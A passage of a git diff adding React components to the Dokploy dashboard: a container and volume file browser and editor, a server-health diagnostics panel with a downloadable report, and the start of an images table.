base === "/" ? `/${name}` : `${base}/${name}`;
|
||||
|
||||
const decodeBase64 = (base64: string) => {
|
||||
const binary = atob(base64);
|
||||
const bytes = new Uint8Array(binary.length);
|
||||
for (let i = 0; i < binary.length; i++) {
|
||||
bytes[i] = binary.charCodeAt(i);
|
||||
}
|
||||
return bytes;
|
||||
};
|
||||
|
||||
export const FilesExplorerModal = ({
|
||||
containerId,
|
||||
volumeName,
|
||||
serverId,
|
||||
children,
|
||||
asDropdownItem = true,
|
||||
}: Props) => {
|
||||
const [open, setOpen] = useState(false);
|
||||
const [path, setPath] = useState("/");
|
||||
const [selectedFile, setSelectedFile] = useState<string | null>(null);
|
||||
const [editorContent, setEditorContent] = useState("");
|
||||
|
||||
const isVolume = !!volumeName;
|
||||
const utils = api.useUtils();
|
||||
|
||||
const containerEntries = api.docker.listContainerFiles.useQuery(
|
||||
{ containerId: containerId ?? "", path, serverId },
|
||||
{ enabled: open && !isVolume, retry: false },
|
||||
);
|
||||
const volumeEntries = api.dockerVolume.listVolumeFiles.useQuery(
|
||||
{ volumeName: volumeName ?? "", path, serverId },
|
||||
{ enabled: open && isVolume, retry: false },
|
||||
);
|
||||
const {
|
||||
data: entries,
|
||||
isLoading: isLoadingEntries,
|
||||
error: entriesError,
|
||||
refetch: refetchEntries,
|
||||
isRefetching,
|
||||
} = isVolume ? volumeEntries : containerEntries;
|
||||
|
||||
const containerFile = api.docker.readContainerFile.useQuery(
|
||||
{ containerId: containerId ?? "", path: selectedFile ?? "/", serverId },
|
||||
{ enabled: open && !isVolume && !!selectedFile, retry: false },
|
||||
);
|
||||
const volumeFile = api.dockerVolume.readVolumeFile.useQuery(
|
||||
{ volumeName: volumeName ?? "", path: selectedFile ?? "/", serverId },
|
||||
{ enabled: open && isVolume && !!selectedFile, retry: false },
|
||||
);
|
||||
const {
|
||||
data: file,
|
||||
isLoading: isLoadingFile,
|
||||
error: fileError,
|
||||
refetch: refetchFile,
|
||||
} = isVolume ? volumeFile : containerFile;
|
||||
|
||||
const fileBytes = useMemo(
|
||||
() => (file ? decodeBase64(file.content) : null),
|
||||
[file],
|
||||
);
|
||||
const isBinary = useMemo(
|
||||
() => !!fileBytes?.some((byte) => byte === 0),
|
||||
[fileBytes],
|
||||
);
|
||||
|
||||
useEffect(() => {
|
||||
if (fileBytes && !isBinary) {
|
||||
setEditorContent(new TextDecoder().decode(fileBytes));
|
||||
}
|
||||
}, [fileBytes, isBinary]);
|
||||
|
||||
const writeContainerFile = api.docker.writeContainerFile.useMutation();
|
||||
const writeVolumeFile = api.dockerVolume.writeVolumeFile.useMutation();
|
||||
const deleteContainerFile = api.docker.deleteContainerFile.useMutation();
|
||||
const deleteVolumeFile = api.dockerVolume.deleteVolumeFile.useMutation();
|
||||
|
||||
const isSaving = writeContainerFile.isPending || writeVolumeFile.isPending;
|
||||
const isDeleting =
|
||||
deleteContainerFile.isPending || deleteVolumeFile.isPending;
|
||||
|
||||
const saveFile = async () => {
|
||||
if (!selectedFile) return;
|
||||
try {
|
||||
if (isVolume) {
|
||||
await writeVolumeFile.mutateAsync({
|
||||
volumeName,
|
||||
path: selectedFile,
|
||||
content: editorContent,
|
||||
serverId,
|
||||
});
|
||||
} else {
|
||||
await writeContainerFile.mutateAsync({
|
||||
containerId: containerId ?? "",
|
||||
path: selectedFile,
|
||||
content: editorContent,
|
||||
serverId,
|
||||
});
|
||||
}
|
||||
toast.success("File saved");
|
||||
refetchFile();
|
||||
} catch (error) {
|
||||
toast.error(
|
||||
error instanceof Error ? error.message : "Failed to save file",
|
||||
);
|
||||
}
|
||||
};
|
||||
|
||||
const deleteEntry = async (entryPath: string) => {
|
||||
try {
|
||||
if (isVolume) {
|
||||
await deleteVolumeFile.mutateAsync({
|
||||
volumeName,
|
||||
path: entryPath,
|
||||
serverId,
|
||||
});
|
||||
await utils.dockerVolume.listVolumeFiles.invalidate();
|
||||
} else {
|
||||
await deleteContainerFile.mutateAsync({
|
||||
containerId: containerId ?? "",
|
||||
path: entryPath,
|
||||
serverId,
|
||||
});
|
||||
await utils.docker.listContainerFiles.invalidate();
|
||||
}
|
||||
toast.success("Deleted");
|
||||
if (selectedFile === entryPath) {
|
||||
setSelectedFile(null);
|
||||
}
|
||||
} catch (error) {
|
||||
toast.error(error instanceof Error ? error.message : "Failed to delete");
|
||||
}
|
||||
};
|
||||
|
||||
const breadcrumbs = path.split("/").filter(Boolean);
|
||||
|
||||
const navigate = (nextPath: string) => {
|
||||
setPath(nextPath);
|
||||
setSelectedFile(null);
|
||||
};
|
||||
|
||||
const handleOpenChange = (value: boolean) => {
|
||||
setOpen(value);
|
||||
if (!value) {
|
||||
setPath("/");
|
||||
setSelectedFile(null);
|
||||
setEditorContent("");
|
||||
}
|
||||
};
|
||||
|
||||
const downloadFile = () => {
|
||||
if (!fileBytes || !selectedFile) return;
|
||||
const blob = new Blob([fileBytes]);
|
||||
const url = URL.createObjectURL(blob);
|
||||
const anchor = document.createElement("a");
|
||||
anchor.href = url;
|
||||
anchor.download = selectedFile.split("/").pop() ?? "file";
|
||||
anchor.click();
|
||||
URL.revokeObjectURL(url);
|
||||
};
|
||||
|
||||
return (
|
||||
<Dialog open={open} onOpenChange={handleOpenChange}>
|
||||
<DialogTrigger asChild>
|
||||
{asDropdownItem ? (
|
||||
<DropdownMenuItem
|
||||
className="w-full cursor-pointer space-x-3"
|
||||
onSelect={(e) => e.preventDefault()}
|
||||
>
|
||||
{children}
|
||||
</DropdownMenuItem>
|
||||
) : (
|
||||
children
|
||||
)}
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-6xl">
|
||||
<DialogHeader>
|
||||
<DialogTitle className="flex items-center gap-2">
|
||||
<FolderOpen className="size-5" />
|
||||
{isVolume ? "Volume Files" : "Container Files"}
|
||||
</DialogTitle>
|
||||
<DialogDescription>
|
||||
{isVolume
|
||||
? `Browse and edit files inside the "${volumeName}" volume`
|
||||
: "Browse and edit files inside the container's filesystem"}
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
|
||||
<div className="flex items-center gap-1 text-sm font-mono flex-wrap">
|
||||
<button
|
||||
type="button"
|
||||
className="hover:underline text-muted-foreground"
|
||||
onClick={() => navigate("/")}
|
||||
>
|
||||
/
|
||||
</button>
|
||||
{breadcrumbs.map((segment, index) => (
|
||||
<span
|
||||
key={`/${breadcrumbs.slice(0, index + 1).join("/")}`}
|
||||
className="flex items-center gap-1"
|
||||
>
|
||||
<button
|
||||
type="button"
|
||||
className="hover:underline text-muted-foreground"
|
||||
onClick={() =>
|
||||
navigate(`/${breadcrumbs.slice(0, index + 1).join("/")}`)
|
||||
}
|
||||
>
|
||||
{segment}
|
||||
</button>
|
||||
{index < breadcrumbs.length - 1 && (
|
||||
<ChevronRight className="size-3 text-muted-foreground" />
|
||||
)}
|
||||
</span>
|
||||
))}
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
className="ml-auto size-7"
|
||||
onClick={() => refetchEntries()}
|
||||
>
|
||||
<RefreshCw
|
||||
className={`size-4 ${isRefetching ? "animate-spin" : ""}`}
|
||||
/>
|
||||
</Button>
|
||||
</div>
|
||||
|
||||
<div className="flex gap-4 min-h-[55vh] max-h-[65vh]">
|
||||
<div className="w-72 shrink-0 border rounded-lg overflow-y-auto">
|
||||
{isLoadingEntries ? (
|
||||
<div className="flex h-full items-center justify-center gap-2 text-sm text-muted-foreground p-4">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : entriesError ? (
|
||||
<div className="p-3">
|
||||
<AlertBlock type="error">{entriesError.message}</AlertBlock>
|
||||
</div>
|
||||
) : (
|
||||
<div className="flex flex-col p-1">
|
||||
{path !== "/" && (
|
||||
<button
|
||||
type="button"
|
||||
className="flex items-center gap-2 rounded-md px-2 py-1.5 text-sm hover:bg-muted text-left"
|
||||
onClick={() =>
|
||||
navigate(`/${breadcrumbs.slice(0, -1).join("/")}` || "/")
|
||||
}
|
||||
>
|
||||
<Folder className="size-4 shrink-0 text-muted-foreground" />
|
||||
..
|
||||
</button>
|
||||
)}
|
||||
{entries?.length === 0 && (
|
||||
<span className="px-2 py-1.5 text-sm text-muted-foreground">
|
||||
Empty directory
|
||||
</span>
|
||||
)}
|
||||
{entries?.map((entry) => {
|
||||
const entryPath = joinPath(path, entry.name);
|
||||
return (
|
||||
<div
|
||||
key={entry.name}
|
||||
className={`group flex items-center rounded-md hover:bg-muted ${
|
||||
selectedFile === entryPath ? "bg-muted" : ""
|
||||
}`}
|
||||
>
|
||||
<button
|
||||
type="button"
|
||||
className="flex flex-1 items-center gap-2 px-2 py-1.5 text-sm text-left min-w-0"
|
||||
onClick={() =>
|
||||
entry.isDirectory
|
||||
? navigate(entryPath)
|
||||
: setSelectedFile(entryPath)
|
||||
}
|
||||
>
|
||||
{entry.isDirectory ? (
|
||||
<Folder className="size-4 shrink-0 text-muted-foreground" />
|
||||
) : (
|
||||
<File className="size-4 shrink-0 text-muted-foreground" />
|
||||
)}
|
||||
<span className="truncate">{entry.name}</span>
|
||||
</button>
|
||||
<DialogAction
|
||||
title={`Delete ${entry.name}?`}
|
||||
description={`This will permanently delete ${entryPath}${entry.isDirectory ? " and all its contents" : ""}.`}
|
||||
onClick={() => deleteEntry(entryPath)}
|
||||
>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
className="size-7 opacity-0 group-hover:opacity-100 shrink-0"
|
||||
isLoading={isDeleting}
|
||||
>
|
||||
<Trash2 className="size-3.5 text-destructive" />
|
||||
</Button>
|
||||
</DialogAction>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="flex-1 min-w-0 flex flex-col gap-2">
|
||||
{!selectedFile ? (
|
||||
<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
|
||||
Select a file to view or edit it
|
||||
</div>
|
||||
) : isLoadingFile ? (
|
||||
<div className="flex flex-1 items-center justify-center gap-2 text-sm text-muted-foreground rounded-lg border">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : fileError ? (
|
||||
<AlertBlock type="error">{fileError.message}</AlertBlock>
|
||||
) : (
|
||||
<>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-sm font-mono truncate text-muted-foreground">
|
||||
{selectedFile}
|
||||
</span>
|
||||
<div className="ml-auto flex items-center gap-2">
|
||||
<Button variant="outline" size="sm" onClick={downloadFile}>
|
||||
<Download className="size-4" />
|
||||
Download
|
||||
</Button>
|
||||
<Button
|
||||
size="sm"
|
||||
isLoading={isSaving}
|
||||
disabled={isBinary || file?.truncated}
|
||||
onClick={saveFile}
|
||||
>
|
||||
Save
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
{file?.truncated ? (
|
||||
<AlertBlock type="warning">
|
||||
This file is larger than 512KB. Showing a truncated preview;
|
||||
editing is disabled. Use Download to get the truncated
|
||||
content or the terminal for full access.
|
||||
</AlertBlock>
|
||||
) : isBinary ? (
|
||||
<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
|
||||
Binary file — use Download instead
|
||||
</div>
|
||||
) : (
|
||||
<div className="flex-1 overflow-auto rounded-lg border">
|
||||
<CodeEditor
|
||||
lineWrapping
|
||||
value={editorContent}
|
||||
onChange={(value) => setEditorContent(value)}
|
||||
wrapperClassName="h-full font-mono"
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
};
|
||||
454
apps/dokploy/components/dashboard/docker/health/show-health.tsx
Normal file
454
apps/dokploy/components/dashboard/docker/health/show-health.tsx
Normal file
@ -0,0 +1,454 @@
|
||||
import {
|
||||
AlertTriangle,
|
||||
Cpu,
|
||||
Download,
|
||||
HardDrive,
|
||||
Loader2,
|
||||
Network,
|
||||
RefreshCw,
|
||||
Server as ServerIcon,
|
||||
} from "lucide-react";
|
||||
import { useState } from "react";
|
||||
import { CodeEditor } from "@/components/shared/code-editor";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Card } from "@/components/ui/card";
|
||||
import { Progress } from "@/components/ui/progress";
|
||||
import {
|
||||
Select,
|
||||
SelectContent,
|
||||
SelectItem,
|
||||
SelectTrigger,
|
||||
SelectValue,
|
||||
} from "@/components/ui/select";
|
||||
import {
|
||||
Table,
|
||||
TableBody,
|
||||
TableCell,
|
||||
TableHead,
|
||||
TableHeader,
|
||||
TableRow,
|
||||
} from "@/components/ui/table";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
interface Props {
|
||||
serverId?: string;
|
||||
}
|
||||
|
||||
const bytesToGb = (bytes: number) => (bytes / 1024 ** 3).toFixed(1);
|
||||
const nanoCpusToCores = (nanoCpus: number) => (nanoCpus / 1e9).toFixed(2);
|
||||
const pct = (used: number, total: number) =>
|
||||
Math.min(100, Math.round((used / (total || 1)) * 100));
|
||||
|
||||
const SINCE_HOURS_OPTIONS = [
|
||||
{ label: "Last hour", value: 1 },
|
||||
{ label: "Last 6 hours", value: 6 },
|
||||
{ label: "Last 24 hours", value: 24 },
|
||||
{ label: "Last 7 days", value: 168 },
|
||||
];
|
||||
|
||||
export const ShowHealth = ({ serverId }: Props) => {
|
||||
const [sinceHours, setSinceHours] = useState(24);
|
||||
const {
|
||||
data: health,
|
||||
isFetching,
|
||||
refetch,
|
||||
isFetched,
|
||||
} = api.docker.getServerHealth.useQuery(
|
||||
{ serverId, sinceHours },
|
||||
{ refetchOnMount: false, refetchOnWindowFocus: false },
|
||||
);
|
||||
|
||||
const memUsedPct = health
|
||||
? pct(health.resources.memUsedBytes, health.resources.memTotalBytes)
|
||||
: 0;
|
||||
const diskUsedPct = health
|
||||
? pct(health.disk.usedBytes, health.disk.totalBytes)
|
||||
: 0;
|
||||
const inotifyUsedPct = health
|
||||
? pct(health.inotify.currentInstances, health.inotify.maxInstances)
|
||||
: 0;
|
||||
|
||||
const daemonLogsWindowText = health?.daemonLogsWindow
|
||||
? `Logs from ${new Date(health.daemonLogsWindow.fromEpoch * 1000).toLocaleString()} to ${new Date(health.daemonLogsWindow.toEpoch * 1000).toLocaleString()}`
|
||||
: null;
|
||||
const daemonErrorsText = [
|
||||
daemonLogsWindowText,
|
||||
health && health.daemonErrors.length > 0
|
||||
? health.daemonErrors.join("\n")
|
||||
: "(no daemon errors matched in this window)",
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join("\n\n");
|
||||
|
||||
const buildHealthReport = () => {
|
||||
if (!health) return "";
|
||||
const lines: string[] = [];
|
||||
lines.push("# Dokploy server health report");
|
||||
lines.push(`Generated: ${new Date(health.checkedAt).toLocaleString()}`);
|
||||
lines.push(
|
||||
`Window: ${SINCE_HOURS_OPTIONS.find((o) => o.value === sinceHours)?.label ?? `${sinceHours}h`}`,
|
||||
);
|
||||
lines.push("");
|
||||
|
||||
lines.push("## Containers & services");
|
||||
lines.push(`Containers: ${health.containers.containerCount}`);
|
||||
lines.push(`Swarm services: ${health.containers.serviceCount}`);
|
||||
lines.push("");
|
||||
|
||||
lines.push("## Host resources");
|
||||
lines.push(
|
||||
`Memory: ${bytesToGb(health.resources.memUsedBytes)} / ${bytesToGb(health.resources.memTotalBytes)} GB`,
|
||||
);
|
||||
lines.push(`CPU cores: ${health.resources.cpuCount}`);
|
||||
lines.push("");
|
||||
|
||||
lines.push("## Disk (/)");
|
||||
lines.push(
|
||||
`${bytesToGb(health.disk.usedBytes)} / ${bytesToGb(health.disk.totalBytes)} GB`,
|
||||
);
|
||||
lines.push("");
|
||||
|
||||
lines.push("## Inotify");
|
||||
lines.push(
|
||||
`max_user_instances: ${health.inotify.currentInstances} / ${health.inotify.maxInstances}`,
|
||||
);
|
||||
lines.push(`max_user_watches: ${health.inotify.maxWatches}`);
|
||||
lines.push(`max_queued_events: ${health.inotify.maxQueuedEvents}`);
|
||||
lines.push(
|
||||
`Persisted in sysctl: ${health.inotify.persisted ? "yes" : "no"}`,
|
||||
);
|
||||
lines.push("");
|
||||
|
||||
lines.push("## Docker networks");
|
||||
lines.push(`Total networks: ${health.dockerNetworks.count}`);
|
||||
if (health.dockerNetworks.addressPools) {
|
||||
lines.push(
|
||||
`default-address-pools: ${JSON.stringify(health.dockerNetworks.addressPools)}`,
|
||||
);
|
||||
}
|
||||
if (health.dockerNetworks.usageError) {
|
||||
lines.push(
|
||||
`Could not read network IP usage: ${health.dockerNetworks.usageError}`,
|
||||
);
|
||||
} else if (health.dockerNetworks.usage.length > 0) {
|
||||
lines.push("");
|
||||
lines.push(
|
||||
"| Network | Driver | Subnet | IPs in use | Capacity | Usage |",
|
||||
);
|
||||
lines.push("|---|---|---|---|---|---|");
|
||||
for (const n of health.dockerNetworks.usage) {
|
||||
lines.push(
|
||||
`| ${n.name} | ${n.driver} | ${n.subnet ?? "auto"} | ${n.containersInUse} | ${n.capacity ?? "—"} | ${n.percentUsed ?? "—"}% |`,
|
||||
);
|
||||
}
|
||||
}
|
||||
lines.push("");
|
||||
|
||||
if (health.reservation) {
|
||||
lines.push("## Memory/CPU reservation");
|
||||
lines.push(
|
||||
`Reserved memory: ${bytesToGb(health.reservation.memoryReservedBytes)} GB`,
|
||||
);
|
||||
lines.push(
|
||||
`Reserved CPU: ${nanoCpusToCores(health.reservation.cpuReservedNanoCpus)} cores`,
|
||||
);
|
||||
lines.push(`Across ${health.reservation.appCount} Application services`);
|
||||
if (health.reservation.unsupportedComposeCount > 0) {
|
||||
lines.push(
|
||||
`${health.reservation.unsupportedComposeCount} Compose service(s) not included (not tracked per-service)`,
|
||||
);
|
||||
}
|
||||
lines.push("");
|
||||
}
|
||||
|
||||
lines.push("## Docker daemon errors (raw)");
|
||||
lines.push("```");
|
||||
lines.push(daemonErrorsText);
|
||||
lines.push("```");
|
||||
|
||||
return lines.join("\n");
|
||||
};
|
||||
|
||||
const handleDownload = () => {
|
||||
const report = buildHealthReport();
|
||||
if (!report) return;
|
||||
const blob = new Blob([report], { type: "text/markdown" });
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement("a");
|
||||
a.href = url;
|
||||
a.download = `dokploy-health-report-${new Date().toISOString().replace(/[:.]/g, "-")}.md`;
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="flex flex-col gap-4 w-full">
|
||||
<Card className="bg-sidebar p-2.5 rounded-xl w-full">
|
||||
<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
|
||||
<div className="flex items-center justify-between gap-4 flex-wrap">
|
||||
<div>
|
||||
<h3 className="text-lg font-medium">Server diagnostics</h3>
|
||||
<p className="text-sm text-muted-foreground max-w-xl">
|
||||
Runs a read-only check over SSH (inotify limits, disk, Docker
|
||||
network pool, daemon errors). Runs automatically when you open
|
||||
this tab — click Re-check to refresh.
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex items-center gap-2">
|
||||
<Select
|
||||
value={String(sinceHours)}
|
||||
onValueChange={(v) => setSinceHours(Number(v))}
|
||||
>
|
||||
<SelectTrigger className="w-[160px]">
|
||||
<SelectValue />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{SINCE_HOURS_OPTIONS.map((opt) => (
|
||||
<SelectItem key={opt.value} value={String(opt.value)}>
|
||||
{opt.label}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<Button onClick={() => refetch()} disabled={isFetching}>
|
||||
{isFetching ? (
|
||||
<Loader2 className="size-4 animate-spin mr-2" />
|
||||
) : (
|
||||
<RefreshCw className="size-4 mr-2" />
|
||||
)}
|
||||
{isFetched ? "Re-check" : "Check server health"}
|
||||
</Button>
|
||||
{health && !health.error && (
|
||||
<Button variant="outline" onClick={handleDownload}>
|
||||
<Download className="size-4 mr-2" />
|
||||
Download report
|
||||
</Button>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{isFetching && !health && (
|
||||
<div className="flex flex-col items-center justify-center gap-2 py-12 text-muted-foreground border border-dashed rounded-xl">
|
||||
<Loader2 className="size-8 animate-spin" />
|
||||
<span>Checking server health…</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{health?.error && (
|
||||
<div className="text-sm text-destructive border border-destructive/30 bg-destructive/10 rounded-lg p-3">
|
||||
Couldn't read server health: {health.error}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{health && !health.error && (
|
||||
<div
|
||||
className={`grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4 transition-opacity ${isFetching ? "opacity-50" : ""}`}
|
||||
>
|
||||
<Card className="p-4">
|
||||
<div className="flex items-center gap-2 text-sm font-medium mb-2">
|
||||
<ServerIcon className="size-4 text-muted-foreground" />
|
||||
Containers & services
|
||||
</div>
|
||||
<div className="text-2xl font-semibold">
|
||||
{health.containers.containerCount}
|
||||
</div>
|
||||
<div className="text-xs text-muted-foreground">
|
||||
containers · {health.containers.serviceCount} swarm services
|
||||
</div>
|
||||
</Card>
|
||||
|
||||
<Card className="p-4">
|
||||
<div className="flex items-center gap-2 text-sm font-medium mb-2">
|
||||
<Cpu className="size-4 text-muted-foreground" />
|
||||
Host resources
|
||||
</div>
|
||||
<div className="text-sm">
|
||||
Memory: {bytesToGb(health.resources.memUsedBytes)} /{" "}
|
||||
{bytesToGb(health.resources.memTotalBytes)} GB
|
||||
</div>
|
||||
<Progress value={memUsedPct} className="h-2 mt-1" />
|
||||
<div className="text-xs text-muted-foreground mt-2">
|
||||
{health.resources.cpuCount} CPU cores
|
||||
</div>
|
||||
</Card>
|
||||
|
||||
<Card className="p-4">
|
||||
<div className="flex items-center gap-2 text-sm font-medium mb-2">
|
||||
<HardDrive className="size-4 text-muted-foreground" />
|
||||
Disk (/)
|
||||
</div>
|
||||
<div className="text-sm">
|
||||
{bytesToGb(health.disk.usedBytes)} /{" "}
|
||||
{bytesToGb(health.disk.totalBytes)} GB
|
||||
</div>
|
||||
<Progress value={diskUsedPct} className="h-2 mt-1" />
|
||||
</Card>
|
||||
|
||||
<Card className="p-4">
|
||||
<div className="flex items-center justify-between gap-2 text-sm font-medium mb-2">
|
||||
<span className="flex items-center gap-2">
|
||||
<AlertTriangle className="size-4 text-muted-foreground" />
|
||||
Inotify
|
||||
</span>
|
||||
<Badge
|
||||
variant={health.inotify.persisted ? "default" : "secondary"}
|
||||
>
|
||||
{health.inotify.persisted ? "persisted" : "runtime only"}
|
||||
</Badge>
|
||||
</div>
|
||||
<div className="text-sm">
|
||||
max_user_instances: {health.inotify.currentInstances} /{" "}
|
||||
{health.inotify.maxInstances.toLocaleString()} (
|
||||
{inotifyUsedPct}%)
|
||||
</div>
|
||||
<Progress value={inotifyUsedPct} className="h-2 mt-1" />
|
||||
<div className="text-xs text-muted-foreground mt-2">
|
||||
max_user_watches: {health.inotify.maxWatches.toLocaleString()}{" "}
|
||||
· max_queued_events:{" "}
|
||||
{health.inotify.maxQueuedEvents.toLocaleString()}
|
||||
</div>
|
||||
</Card>
|
||||
|
||||
<Card className="p-4">
|
||||
<div className="flex items-center gap-2 text-sm font-medium mb-2">
|
||||
<Network className="size-4 text-muted-foreground" />
|
||||
Docker networks
|
||||
</div>
|
||||
<div className="text-2xl font-semibold">
|
||||
{health.dockerNetworks.count}
|
||||
</div>
|
||||
<div className="text-xs text-muted-foreground">
|
||||
The default Docker address pool is exhausted around ~30
|
||||
networks unless <code>default-address-pools</code> is
|
||||
configured in <code>/etc/docker/daemon.json</code>.
|
||||
{health.dockerNetworks.addressPools
|
||||
? " Custom pool detected on this server."
|
||||
: ""}
|
||||
</div>
|
||||
</Card>
|
||||
|
||||
{health.reservation && (
|
||||
<Card className="p-4">
|
||||
<div className="flex items-center gap-2 text-sm font-medium mb-2">
|
||||
<Cpu className="size-4 text-muted-foreground" />
|
||||
Memory/CPU reservation
|
||||
</div>
|
||||
<div className="text-sm">
|
||||
{bytesToGb(health.reservation.memoryReservedBytes)} GB
|
||||
reserved ·{" "}
|
||||
{nanoCpusToCores(health.reservation.cpuReservedNanoCpus)}{" "}
|
||||
CPUs reserved
|
||||
</div>
|
||||
<div className="text-xs text-muted-foreground mt-2">
|
||||
Across {health.reservation.appCount} Application services.
|
||||
{health.reservation.unsupportedComposeCount > 0
|
||||
? ` ${health.reservation.unsupportedComposeCount} Compose service(s) on this server aren't included — reservations aren't tracked per-service for Compose.`
|
||||
: ""}
|
||||
</div>
|
||||
</Card>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{health &&
|
||||
!health.error &&
|
||||
(health.dockerNetworks.usage.length > 0 ||
|
||||
health.dockerNetworks.usageError) && (
|
||||
<div className="flex flex-col gap-2">
|
||||
<h4 className="text-sm font-medium flex items-center gap-2">
|
||||
<Network className="size-4 text-muted-foreground" />
|
||||
Network IP usage
|
||||
</h4>
|
||||
<p className="text-xs text-muted-foreground">
|
||||
IPs assigned to containers vs. the subnet's usable capacity,
|
||||
per network — including reserved networks like{" "}
|
||||
<code>dokploy-network</code>. A network stuck near 100% blocks
|
||||
new containers from starting even when the host has plenty of
|
||||
other resources free.
|
||||
</p>
|
||||
{health.dockerNetworks.usageError ? (
|
||||
<div className="text-sm text-destructive border border-destructive/30 bg-destructive/10 rounded-lg p-3">
|
||||
Couldn't read network IP usage:{" "}
|
||||
{health.dockerNetworks.usageError}
|
||||
</div>
|
||||
) : (
|
||||
<div className="rounded-lg border overflow-x-auto">
|
||||
<Table>
|
||||
<TableHeader>
|
||||
<TableRow>
|
||||
<TableHead>Network</TableHead>
|
||||
<TableHead>Driver</TableHead>
|
||||
<TableHead>Subnet</TableHead>
|
||||
<TableHead>IPs in use</TableHead>
|
||||
<TableHead>Usage</TableHead>
|
||||
</TableRow>
|
||||
</TableHeader>
|
||||
<TableBody>
|
||||
{health.dockerNetworks.usage.map((n) => (
|
||||
<TableRow key={n.name}>
|
||||
<TableCell className="font-medium">
|
||||
{n.name}
|
||||
</TableCell>
|
||||
<TableCell className="text-muted-foreground">
|
||||
{n.driver}
|
||||
</TableCell>
|
||||
<TableCell className="text-muted-foreground">
|
||||
{n.subnet ?? "Auto"}
|
||||
</TableCell>
|
||||
<TableCell className="text-muted-foreground">
|
||||
{n.capacity !== null
|
||||
? `${n.containersInUse} / ${n.capacity}`
|
||||
: n.containersInUse}
|
||||
</TableCell>
|
||||
<TableCell>
|
||||
{n.percentUsed !== null ? (
|
||||
<Badge
|
||||
variant={
|
||||
n.percentUsed >= 90
|
||||
? "red"
|
||||
: n.percentUsed >= 70
|
||||
? "yellow"
|
||||
: "green"
|
||||
}
|
||||
>
|
||||
{n.percentUsed}%
|
||||
</Badge>
|
||||
) : (
|
||||
<span className="text-muted-foreground text-xs">
|
||||
—
|
||||
</span>
|
||||
)}
|
||||
</TableCell>
|
||||
</TableRow>
|
||||
))}
|
||||
</TableBody>
|
||||
</Table>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{health && !health.error && (
|
||||
<div className="flex flex-col gap-2">
|
||||
<h4 className="text-sm font-medium">
|
||||
Docker daemon errors (
|
||||
{SINCE_HOURS_OPTIONS.find(
|
||||
(o) => o.value === sinceHours,
|
||||
)?.label.toLowerCase()}
|
||||
)
|
||||
</h4>
|
||||
<CodeEditor
|
||||
value={daemonErrorsText}
|
||||
language="shell"
|
||||
disabled
|
||||
lineWrapping
|
||||
wrapperClassName="h-64 rounded-lg border"
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</Card>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
470
apps/dokploy/components/dashboard/docker/images/show-images.tsx
Normal file
470
apps/dokploy/components/dashboard/docker/images/show-images.tsx
Normal file
@ -0,0 +1,470 @@
|
||||
"use client";
|
||||
|
||||
import {
|
||||
type ColumnDef,
|
||||
flexRender,
|
||||
getCoreRowModel,
|
||||
getPaginationRowModel,
|
||||
getSortedRowModel,
|
||||
type PaginationState,
|
||||
type SortingState,
|
||||
useReactTable,
|
||||
} from "@tanstack/react-table";
|
||||
import type { inferRouterOutputs } from "@trpc/server";
|
||||
import { ArrowUpDown, Eye, Layers, Loader2, Trash2 } from "lucide-react";
|
||||
import { useMemo, useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { CodeEditor } from "@/components/shared/code-editor";
|
||||
import { DialogAction } from "@/components/shared/dialog-action";
|
||||
import {
|
||||
AlertDialog,
|
||||
AlertDialogAction,
|
||||
AlertDialogCancel,
|
||||
AlertDialogContent,
|
||||
AlertDialogDescription,
|
||||
AlertDialogFooter,
|
||||
AlertDialogHeader,
|
||||
AlertDialogTitle,
|
||||
} from "@/components/ui/alert-dialog";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Card,
|
||||
CardContent,
|
||||
CardDescription,
|
||||
CardHeader,
|
||||
CardTitle,
|
||||
} from "@/components/ui/card";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import {
|
||||
Table,
|
||||
TableBody,
|
||||
TableCell,
|
||||
TableHead,
|
||||
TableHeader,
|
||||
TableRow,
|
||||
} from "@/components/ui/table";
|
||||
import type { AppRouter } from "@/server/api/root";
|
||||
